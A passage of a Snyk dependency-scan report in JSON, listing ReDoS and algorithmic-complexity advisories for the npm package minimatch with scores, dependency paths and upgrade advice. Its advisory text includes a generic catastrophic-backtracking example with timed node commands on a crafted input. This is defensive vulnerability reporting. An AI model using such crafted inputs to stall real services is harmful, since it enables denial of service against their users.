"maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, 